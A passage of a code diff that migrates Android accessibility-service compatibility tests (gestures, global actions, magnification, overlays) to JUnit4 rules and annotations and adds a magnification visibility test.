mStartPoint.set(mViewLocation[0] + midX, mViewLocation[1] + midY);
});
- mService = StubGestureAccessibilityService.enableSelf(getInstrumentation());
+ mService = mServiceRule.enableService();
mMotionEvents.clear();
mGotUpEvent = false;
}
- @Override
- public void tearDown() throws Exception {
- if (!mHasTouchScreen) {
- return;
- }
-
- runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
- super.tearDown();
- }
-
+ @Test
public void testClickAt_producesDownThenUp() throws InterruptedException {
if (!mHasTouchScreen) {
return;
@@ -164,10 +175,10 @@
assertEquals(0, clickDown.getActionIndex());
assertEquals(0, clickDown.getDeviceId());
assertEquals(0, clickDown.getEdgeFlags());
- assertEquals(1F, clickDown.getXPrecision());
- assertEquals(1F, clickDown.getYPrecision());
+ assertEquals(1F, clickDown.getXPrecision(), 0F);
+ assertEquals(1F, clickDown.getYPrecision(), 0F);
assertEquals(1, clickDown.getPointerCount());
- assertEquals(1F, clickDown.getPressure());
+ assertEquals(1F, clickDown.getPressure(), 0F);
// Verify timing matches click
assertEquals(clickDown.getDownTime(), clickDown.getEventTime());
@@ -178,6 +189,7 @@
> clickUp.getEventTime());
}
+ @Test
public void testLongClickAt_producesEventsWithLongClickTiming() throws InterruptedException {
if (!mHasTouchScreen) {
return;
@@ -198,6 +210,7 @@
assertEquals(clickDown.getDownTime(), clickUp.getDownTime());
}
+ @Test
public void testSwipe_shouldContainPointsInALine() throws InterruptedException {
if (!mHasTouchScreen) {
return;
@@ -236,6 +249,7 @@
await(dispatchGesture(mService, gesture), timeoutMs, MILLISECONDS);
}
+ @Test
public void testSlowSwipe_shouldNotContainMovesForTinyMovement() throws InterruptedException {
if (!mHasTouchScreen) {
return;
@@ -260,6 +274,7 @@
assertThat(mMotionEvents.get(4), both(IS_ACTION_UP).and(isAtPoint(endPoint)));
}
+ @Test
public void testAngledPinch_looksReasonable() throws InterruptedException {
if (!(mHasTouchScreen && mHasMultiTouch)) {
return;
@@ -309,6 +324,7 @@
// This test assumes device's screen contains its center (W/2, H/2) with some surroundings
// and should work for rectangular, round and round with chin screens.
+ @Test
public void testClickWhenMagnified_matchesActualTouch() throws InterruptedException {
final float POINT_TOL = 2.0f;
final float CLICK_OFFSET_X = 10;
@@ -318,7 +334,7 @@
return;
}
- int displayId = getActivity().getWindow().getDecorView().getDisplay().getDisplayId();
+ int displayId = mActivity.getWindow().getDecorView().getDisplay().getDisplayId();
if (displayId != Display.DEFAULT_DISPLAY) {
Log.i(TAG, "Magnification is not supported on virtual displays.");
return;
@@ -327,7 +343,7 @@
final WindowManager wm = (WindowManager) getInstrumentation().getContext().getSystemService(
Context.WINDOW_SERVICE);
final StubMagnificationAccessibilityService magnificationService =
- StubMagnificationAccessibilityService.enableSelf(getInstrumentation());
+ enableService(StubMagnificationAccessibilityService.class);
final AccessibilityService.MagnificationController
magnificationController = magnificationService.getMagnificationController();
@@ -392,6 +408,7 @@
both(IS_ACTION_UP).and(isAtPoint(magRegionOffsetPoint, POINT_TOL)));
}
+ @Test
public void testContinuedGestures_motionEventsContinue() throws Exception {
if (!mHasTouchScreen) {
return;
@@ -426,6 +443,7 @@
allOf(IS_ACTION_UP, isAtPoint(end)));
}
+ @Test
public void testContinuedGesture_withLineDisconnect_isCancelled() throws Exception {
if (!mHasTouchScreen) {
return;
@@ -454,6 +472,7 @@
assertEquals(1, mMotionEvents.size());
}
+ @Test
public void testContinuedGesture_nextGestureDoesntContinue_isCancelled() throws Exception {
if (!mHasTouchScreen) {
return;
@@ -486,6 +505,7 @@
both(IS_ACTION_UP).and(isAtPoint(endPoint)));
}
+ @Test
public void testContinuingGesture_withNothingToContinue_isCancelled() {
if (!mHasTouchScreen) {
return;
@@ -631,42 +651,4 @@
.addStroke(new StrokeDescription(path2, 0, duration))
.build();
}
-
- private static class MotionEventActionMatcher extends TypeSafeMatcher<MotionEvent> {
- int mAction;
-
- MotionEventActionMatcher(int action) {
- super();
- mAction = action;
- }
-
- @Override
- protected boolean matchesSafely(MotionEvent motionEvent) {
- return motionEvent.getActionMasked() == mAction;
- }
-
- @Override
- public void describeTo(Description description) {
- description.appendText("Matching to action " + MotionEvent.actionToString(mAction));
- }
- }
-
-
- Matcher<MotionEvent> isAtPoint(final PointF point) {
- return isAtPoint(point, 0.01f);
- }
-
- Matcher<MotionEvent> isAtPoint(final PointF point, final float tol) {
- return new TypeSafeMatcher<MotionEvent>() {
- @Override
- protected boolean matchesSafely(MotionEvent event) {
- return Math.hypot(event.getX() - point.x, event.getY() - point.y) < tol;
- }
-
- @Override
- public void describeTo(Description description) {
- description.appendText("Matching to point " + point);
- }
- };
- }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
index c809f26..b5b5766 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
@@ -16,14 +16,30 @@
package android.accessibilityservice.cts;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.homeScreenOrBust;
+
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.AccessibilityService;
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
-import android.test.InstrumentationTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
-import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.concurrent.TimeoutException;
@@ -32,7 +48,8 @@
*/
@Presubmit
@AppModeFull
-public class AccessibilityGlobalActionsTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGlobalActionsTest {
/**
* Timeout required for pending Binder calls or event processing to
* complete.
@@ -44,109 +61,113 @@
*/
private static final long TIMEOUT_ACCESSIBILITY_STATE_IDLE = 500;
+ private static Instrumentation sInstrumentation;
+ private static UiAutomation sUiAutomation;
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @BeforeClass
+ public static void oneTimeSetup() {
+ sInstrumentation = InstrumentationRegistry.getInstrumentation();
+ sUiAutomation = sInstrumentation.getUiAutomation();
+ AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
+ info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+ sUiAutomation.setServiceInfo(info);
+ }
+
+ @AfterClass
+ public static void postTestTearDown() {
+ sUiAutomation.destroy();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ // Make sure we start test on home screen so we can know if clean up is successful
+ // or not in the end.
+ homeScreenOrBust(sInstrumentation.getContext(), sUiAutomation);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Make sure we clean up and back to home screen again, or let test fail...
+ homeScreenOrBust(sInstrumentation.getContext(), sUiAutomation);
+ }
+
@MediumTest
+ @Test
public void testPerformGlobalActionBack() throws Exception {
- assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
- AccessibilityService.GLOBAL_ACTION_BACK));
+ assertTrue(sUiAutomation.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK));
// Sleep a bit so the UI is settled.
waitForIdle();
}
@MediumTest
+ @Test
public void testPerformGlobalActionHome() throws Exception {
- assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
- AccessibilityService.GLOBAL_ACTION_HOME));
+ assertTrue(sUiAutomation.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME));
// Sleep a bit so the UI is settled.
waitForIdle();
}
@MediumTest
+ @Test
public void testPerformGlobalActionRecents() throws Exception {
// Perform the action.
- boolean actionWasPerformed =
- getInstrumentation().getUiAutomation().performGlobalAction(
- AccessibilityService.GLOBAL_ACTION_RECENTS);
+ boolean actionWasPerformed = sUiAutomation.performGlobalAction(
+ AccessibilityService.GLOBAL_ACTION_RECENTS);
// Sleep a bit so the UI is settled.
waitForIdle();
if (actionWasPerformed) {
- // This is a necessary since the back action does not
+ // This is a necessary since the global action does not
// dismiss recents until they stop animating. Sigh...
SystemClock.sleep(5000);
-
- // Clean up.
- getInstrumentation().getUiAutomation().performGlobalAction(
- AccessibilityService.GLOBAL_ACTION_BACK);
}
-
- // Sleep a bit so the UI is settled.
- waitForIdle();
}
@MediumTest
- @FlakyTest
+ @Test
public void testPerformGlobalActionNotifications() throws Exception {
// Perform the action under test
- assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
+ assertTrue(sUiAutomation.performGlobalAction(
AccessibilityService.GLOBAL_ACTION_NOTIFICATIONS));
// Sleep a bit so the UI is settled.
waitForIdle();
-
- // Clean up.
- assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
- AccessibilityService.GLOBAL_ACTION_BACK));
-
- // Sleep a bit so the UI is settled.
- waitForIdle();
}
@MediumTest
- @FlakyTest
+ @Test
public void testPerformGlobalActionQuickSettings() throws Exception {
// Check whether the action succeeded.
- assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
+ assertTrue(sUiAutomation.performGlobalAction(
AccessibilityService.GLOBAL_ACTION_QUICK_SETTINGS));
// Sleep a bit so the UI is settled.
waitForIdle();
-
- // Clean up.
- // The GLOBAL_ACTION_HOME is needed in the case where additional
- // notifications showing up, we need to clear them as well for the upcoming
- // new tests to work properly.
- getInstrumentation().getUiAutomation().performGlobalAction(
- AccessibilityService.GLOBAL_ACTION_HOME);
-
- // Sleep a bit so the UI is settled.
- waitForIdle();
}
@MediumTest
- @FlakyTest
+ @Test
public void testPerformGlobalActionPowerDialog() throws Exception {
// Check whether the action succeeded.
- assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
+ assertTrue(sUiAutomation.performGlobalAction(
AccessibilityService.GLOBAL_ACTION_POWER_DIALOG));
// Sleep a bit so the UI is settled.
waitForIdle();
-
- // Clean up.
- getInstrumentation().getUiAutomation().performGlobalAction(
- AccessibilityService.GLOBAL_ACTION_BACK);
-
- // Sleep a bit so the UI is settled.
- waitForIdle();
}
@MediumTest
+ @Test
public void testPerformActionScreenshot() throws Exception {
// Action should succeed
- assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
+ assertTrue(sUiAutomation.performGlobalAction(
AccessibilityService.GLOBAL_ACTION_TAKE_SCREENSHOT));
// Ideally should verify that we actually have a screenshot, but it's also possible
// for the screenshot to fail
@@ -154,8 +175,6 @@
}
private void waitForIdle() throws TimeoutException {
- getInstrumentation().getUiAutomation().waitForIdle(
- TIMEOUT_ACCESSIBILITY_STATE_IDLE,
- TIMEOUT_ASYNC_PROCESSING);
+ sUiAutomation.waitForIdle(TIMEOUT_ACCESSIBILITY_STATE_IDLE, TIMEOUT_ASYNC_PROCESSING);
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
index 9654352..66baa04 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
@@ -17,6 +17,7 @@
import static junit.framework.Assert.assertTrue;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.content.Context;
import android.platform.test.annotations.Presubmit;
@@ -25,6 +26,7 @@
import com.android.compatibility.common.util.AppOpsUtils;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -32,6 +34,10 @@
@Presubmit
public class AccessibilityLoggingTest {
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
/**
* Tests that new accessibility services are logged by the system.
*/
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
index 2774457..c832368 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
@@ -16,8 +16,16 @@
package android.accessibilityservice.cts;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.TestUtils.waitOn;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.any;
import static org.mockito.Mockito.anyFloat;
import static org.mockito.Mockito.eq;
@@ -25,16 +33,35 @@
import static org.mockito.Mockito.timeout;
import static org.mockito.Mockito.verify;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibility.cts.common.ShellCommandBuilder;
import android.accessibilityservice.AccessibilityService.MagnificationController;
import android.accessibilityservice.AccessibilityService.MagnificationController.OnMagnificationChangedListener;
import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.cts.activities.AccessibilityWindowQueryActivity;
+import android.app.Activity;
import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.graphics.Point;
import android.graphics.Rect;
import android.graphics.Region;
import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestCase;
+import android.util.DisplayMetrics;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.widget.Button;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -42,7 +69,8 @@
* Class for testing {@link AccessibilityServiceInfo}.
*/
@AppModeFull
-public class AccessibilityMagnificationTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityMagnificationTest {
/** Maximum timeout when waiting for a magnification callback. */
public static final int LISTENER_TIMEOUT_MILLIS = 500;
@@ -51,25 +79,39 @@
private StubMagnificationAccessibilityService mService;
private Instrumentation mInstrumentation;
- @Override
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ private final ActivityTestRule<AccessibilityWindowQueryActivity> mActivityRule =
+ new ActivityTestRule<>(AccessibilityWindowQueryActivity.class, false, false);
+
+ private InstrumentedAccessibilityServiceTestRule<InstrumentedAccessibilityService>
+ mInstrumentedAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ InstrumentedAccessibilityService.class, false);
+
+ private InstrumentedAccessibilityServiceTestRule<StubMagnificationAccessibilityService>
+ mMagnificationAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ StubMagnificationAccessibilityService.class, false);
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mMagnificationAccessibilityServiceRule)
+ .around(mInstrumentedAccessibilityServiceRule)
+ .around(mDumpOnFailureRule);
+
+ @Before
public void setUp() throws Exception {
- super.setUp();
- ShellCommandBuilder.create(this.getInstrumentation())
+ ShellCommandBuilder.create(getInstrumentation())
.deleteSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED)
.run();
mInstrumentation = getInstrumentation();
// Starting the service will force the accessibility subsystem to examine its settings, so
// it will update magnification in the process to disable it.
- mService = StubMagnificationAccessibilityService.enableSelf(mInstrumentation);
+ mService = mMagnificationAccessibilityServiceRule.enableService();
}
- @Override
- protected void tearDown() throws Exception {
- runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelfAndRemove));
-
- super.tearDown();
- }
-
+ @Test
public void testSetScale() {
final MagnificationController controller = mService.getMagnificationController();
final float scale = 2.0f;
@@ -78,14 +120,15 @@
mService.runOnServiceSync(() -> result.set(controller.setScale(scale, false)));
assertTrue("Failed to set scale", result.get());
- assertEquals("Failed to apply scale", scale, controller.getScale());
+ assertEquals("Failed to apply scale", scale, controller.getScale(), 0f);
mService.runOnServiceSync(() -> result.set(controller.reset(false)));
assertTrue("Failed to reset", result.get());
- assertEquals("Failed to apply reset", 1.0f, controller.getScale());
+ assertEquals("Failed to apply reset", 1.0f, controller.getScale(), 0f);
}
+ @Test
public void testSetScaleAndCenter() {
final MagnificationController controller = mService.getMagnificationController();
final Region region = controller.getMagnificationRegion();
@@ -103,7 +146,7 @@
});
assertTrue("Failed to set scale", setScale.get());
- assertEquals("Failed to apply scale", scale, controller.getScale());
+ assertEquals("Failed to apply scale", scale, controller.getScale(), 0f);
assertTrue("Failed to set center", setCenter.get());
assertEquals("Failed to apply center X", x, controller.getCenterX(), 5.0f);
@@ -112,9 +155,10 @@
mService.runOnServiceSync(() -> result.set(controller.reset(false)));
assertTrue("Failed to reset", result.get());
- assertEquals("Failed to apply reset", 1.0f, controller.getScale());
+ assertEquals("Failed to apply reset", 1.0f, controller.getScale(), 0f);
}
+ @Test
public void testListener() {
final MagnificationController controller = mService.getMagnificationController();
final OnMagnificationChangedListener listener = mock(OnMagnificationChangedListener.class);
@@ -140,23 +184,21 @@
}
}
+ @Test
public void testMagnificationServiceShutsDownWhileMagnifying_shouldReturnTo1x() {
final MagnificationController controller = mService.getMagnificationController();
mService.runOnServiceSync(() -> controller.setScale(2.0f, false));
mService.runOnServiceSync(() -> mService.disableSelf());
mService = null;
- InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
- mInstrumentation, InstrumentedAccessibilityService.class);
+ InstrumentedAccessibilityService service =
+ mInstrumentedAccessibilityServiceRule.enableService();
final MagnificationController controller2 = service.getMagnificationController();
- try {
- assertEquals("Magnification must reset when a service dies",
- 1.0f, controller2.getScale());
- } finally {
- service.runOnServiceSync(() -> service.disableSelf());
- }
+ assertEquals("Magnification must reset when a service dies",
+ 1.0f, controller2.getScale(), 0f);
}
+ @Test
public void testGetMagnificationRegion_whenCanControlMagnification_shouldNotBeEmpty() {
final MagnificationController controller = mService.getMagnificationController();
Region magnificationRegion = controller.getMagnificationRegion();
@@ -164,42 +206,40 @@
+ "magnification is being actively controlled", magnificationRegion.isEmpty());
}
+ @Test
public void testGetMagnificationRegion_whenCantControlMagnification_shouldBeEmpty() {
mService.runOnServiceSync(() -> mService.disableSelf());
mService = null;
- InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
- mInstrumentation, InstrumentedAccessibilityService.class);
- try {
- final MagnificationController controller = service.getMagnificationController();
- Region magnificationRegion = controller.getMagnificationRegion();
- assertTrue("Magnification region should be empty when magnification "
- + "is not being actively controlled", magnificationRegion.isEmpty());
- } finally {
- service.runOnServiceSync(() -> service.disableSelf());
- }
+ InstrumentedAccessibilityService service =
+ mInstrumentedAccessibilityServiceRule.enableService();
+ final MagnificationController controller = service.getMagnificationController();
+ Region magnificationRegion = controller.getMagnificationRegion();
+ assertTrue("Magnification region should be empty when magnification "
+ + "is not being actively controlled", magnificationRegion.isEmpty());
}
+ @Test
public void testGetMagnificationRegion_whenMagnificationGesturesEnabled_shouldNotBeEmpty() {
ShellCommandBuilder.create(mInstrumentation)
.putSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, "1")
.run();
mService.runOnServiceSync(() -> mService.disableSelf());
mService = null;
- InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
- mInstrumentation, InstrumentedAccessibilityService.class);
+ InstrumentedAccessibilityService service =
+ mInstrumentedAccessibilityServiceRule.enableService();
try {
final MagnificationController controller = service.getMagnificationController();
Region magnificationRegion = controller.getMagnificationRegion();
assertFalse("Magnification region should not be empty when magnification "
+ "gestures are active", magnificationRegion.isEmpty());
} finally {
- service.runOnServiceSync(() -> service.disableSelf());
ShellCommandBuilder.create(mInstrumentation)
.deleteSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED)
.run();
}
}
+ @Test
public void testAnimatingMagnification() throws InterruptedException {
final MagnificationController controller = mService.getMagnificationController();
final int timeBetweenAnimationChanges = 100;
@@ -239,4 +279,121 @@
Thread.sleep(timeBetweenAnimationChanges);
}
}
+
+ @Test
+ public void testA11yNodeInfoVisibility_whenOutOfMagnifiedArea_shouldVisible()
+ throws Exception{
+ final UiAutomation uiAutomation = mInstrumentation.getUiAutomation(
+ UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+ final Activity activity = launchActivityAndWaitForItToBeOnscreen(
+ mInstrumentation, uiAutomation, mActivityRule);
+ final MagnificationController controller = mService.getMagnificationController();
+ final Rect magnifyBounds = controller.getMagnificationRegion().getBounds();
+ final float scale = 8.0f;
+ final Button button = activity.findViewById(R.id.button1);
+ adjustViewBoundsIfNeeded(button, scale, magnifyBounds);
+
+ final AccessibilityNodeInfo buttonNode = uiAutomation.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByViewId(
+ "android.accessibilityservice.cts:id/button1").get(0);
+ assertNotNull("Can't find button on the screen", buttonNode);
+ assertTrue("Button should be visible", buttonNode.isVisibleToUser());
+
+ // Get right-bottom center position
+ final float centerX = magnifyBounds.left + (((float) magnifyBounds.width() / (2.0f * scale))
+ * ((2.0f * scale) - 1.0f));
+ final float centerY = magnifyBounds.top + (((float) magnifyBounds.height() / (2.0f * scale))
+ * ((2.0f * scale) - 1.0f));
+ try {
+ waitOnMagnificationChanged(controller, scale, centerX, centerY);
+ // Waiting for UI refresh
+ mInstrumentation.waitForIdleSync();
+ buttonNode.refresh();
+
+ final Rect boundsInScreen = new Rect();
+ final DisplayMetrics displayMetrics = new DisplayMetrics();
+ buttonNode.getBoundsInScreen(boundsInScreen);
+ mInstrumentation.getContext().getDisplay().getMetrics(displayMetrics);
+ final Rect displayRect = new Rect(0, 0,
+ displayMetrics.widthPixels, displayMetrics.heightPixels);
+ // The boundsInScreen of button is adjusted to outside of screen by framework,
+ // for example, Rect(-xxx, -xxx, -xxx, -xxx). Intersection of button and screen
+ // should be empty.
+ assertFalse("Button shouldn't be on the screen, screen is " + displayRect
+ + ", button bounds is " + boundsInScreen,
+ Rect.intersects(displayRect, boundsInScreen));
+ assertTrue("Button should be visible", buttonNode.isVisibleToUser());
+ } finally {
+ mService.runOnServiceSync(() -> controller.reset(false));
+ }
+ }
+
+ private void waitOnMagnificationChanged(MagnificationController controller, float newScale,
+ float newCenterX, float newCenterY) {
+ final Object waitLock = new Object();
+ final AtomicBoolean notified = new AtomicBoolean();
+ final OnMagnificationChangedListener listener = (c, region, scale, centerX, centerY) -> {
+ final float delta = 5.0f;
+ synchronized (waitLock) {
+ if (newScale == scale
+ && (centerX > newCenterX - delta) && (centerY > newCenterY - delta)) {
+ notified.set(true);
+ waitLock.notifyAll();
+ }
+ }
+ };
+ controller.addListener(listener);
+ try {
+ final AtomicBoolean setScale = new AtomicBoolean();
+ final AtomicBoolean setCenter = new AtomicBoolean();
+ mService.runOnServiceSync(() -> {
+ setScale.set(controller.setScale(newScale, false));
+ setCenter.set(controller.setCenter(newCenterX, newCenterY, false));
+ });
+ assertTrue("Failed to set scale", setScale.get());
+ assertEquals("Failed to apply scale", newScale, controller.getScale(), 0f);
+ assertTrue("Failed to set center", setCenter.get());
+ waitOn(waitLock, () -> notified.get(), LISTENER_TIMEOUT_MILLIS,
+ "waitOnMagnificationChanged");
+ } finally {
+ controller.removeListener(listener);
+ }
+ }
+
+ /**
+ * Adjust top-left view bounds if it's still in the magnified viewport after sets magnification
+ * scale and move centers to bottom-right.
+ */
+ private void adjustViewBoundsIfNeeded(View topLeftview, float scale, Rect magnifyBounds) {
+ final Point magnifyViewportTopLeft = new Point();
+ magnifyViewportTopLeft.x = (int)((scale - 1.0f) * ((float) magnifyBounds.width() / scale));
+ magnifyViewportTopLeft.y = (int)((scale - 1.0f) * ((float) magnifyBounds.height() / scale));
+ magnifyViewportTopLeft.offset(magnifyBounds.left, magnifyBounds.top);
+
+ final int[] viewLocation = new int[2];
+ topLeftview.getLocationOnScreen(viewLocation);
+ final Rect viewBounds = new Rect(viewLocation[0], viewLocation[1],
+ viewLocation[0] + topLeftview.getWidth(),
+ viewLocation[1] + topLeftview.getHeight());
+ if (viewBounds.right < magnifyViewportTopLeft.x
+ && viewBounds.bottom < magnifyViewportTopLeft.y) {
+ // no need
+ return;
+ }
+
+ final ViewGroup.LayoutParams layoutParams = topLeftview.getLayoutParams();
+ if (viewBounds.right >= magnifyViewportTopLeft.x) {
+ layoutParams.width = topLeftview.getWidth() - 1
+ - (viewBounds.right - magnifyViewportTopLeft.x);
+ assertTrue("Needs to fix layout", layoutParams.width > 0);
+ }
+ if (viewBounds.bottom >= magnifyViewportTopLeft.y) {
+ layoutParams.height = topLeftview.getHeight() - 1
+ - (viewBounds.bottom - magnifyViewportTopLeft.y);
+ assertTrue("Needs to fix layout", layoutParams.height > 0);
+ }
+ mInstrumentation.runOnMainSync(() -> topLeftview.setLayoutParams(layoutParams));
+ // Waiting for UI refresh
+ mInstrumentation.waitForIdleSync();
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
index e461bdf..d8264dc 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
@@ -16,16 +16,19 @@
package android.accessibilityservice.cts;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
-
import static org.junit.Assert.assertTrue;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.accessibilityservice.cts.utils.AsyncUtils;
-import android.app.Instrumentation;
+import android.accessibilityservice.cts.utils.DisplayUtils;
import android.app.UiAutomation;
+import android.content.Context;
import android.text.TextUtils;
+import android.util.SparseArray;
+import android.view.Display;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityWindowInfo;
import android.widget.Button;
@@ -33,10 +36,11 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import org.junit.After;
import org.junit.Before;
import org.junit.BeforeClass;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.util.List;
@@ -45,14 +49,24 @@
@RunWith(AndroidJUnit4.class)
public class AccessibilityOverlayTest {
- private static Instrumentation sInstrumentation;
private static UiAutomation sUiAutomation;
InstrumentedAccessibilityService mService;
+ private InstrumentedAccessibilityServiceTestRule<StubAccessibilityButtonService>
+ mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ StubAccessibilityButtonService.class);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mServiceRule)
+ .around(mDumpOnFailureRule);
+
@BeforeClass
public static void oneTimeSetUp() {
- sInstrumentation = InstrumentationRegistry.getInstrumentation();
- sUiAutomation = sInstrumentation
+ sUiAutomation = InstrumentationRegistry.getInstrumentation()
.getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
@@ -61,40 +75,61 @@
@Before
public void setUp() {
- mService = StubAccessibilityButtonService.enableSelf(sInstrumentation);
- }
-
- @After
- public void tearDown() {
- runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
+ mService = mServiceRule.getService();
}
@Test
public void testA11yServiceShowsOverlay_shouldAppear() throws Exception {
- final Button button = new Button(mService);
- button.setText("Button");
final String overlayTitle = "Overlay title";
sUiAutomation.executeAndWaitForEvent(() -> mService.runOnServiceSync(() -> {
- final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
- params.width = WindowManager.LayoutParams.MATCH_PARENT;
- params.height = WindowManager.LayoutParams.MATCH_PARENT;
- params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN
- | WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR;
- params.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
- params.setTitle(overlayTitle);
- mService.getSystemService(WindowManager.class).addView(button, params);
- }), (event) -> findOverlayWindow() != null, AsyncUtils.DEFAULT_TIMEOUT_MS);
+ addOverlayWindow(mService, overlayTitle);
+ }), (event) -> findOverlayWindow(Display.DEFAULT_DISPLAY) != null, AsyncUtils.DEFAULT_TIMEOUT_MS);
- assertTrue(TextUtils.equals(findOverlayWindow().getTitle(), overlayTitle));
+ assertTrue(TextUtils.equals(findOverlayWindow(Display.DEFAULT_DISPLAY).getTitle(), overlayTitle));
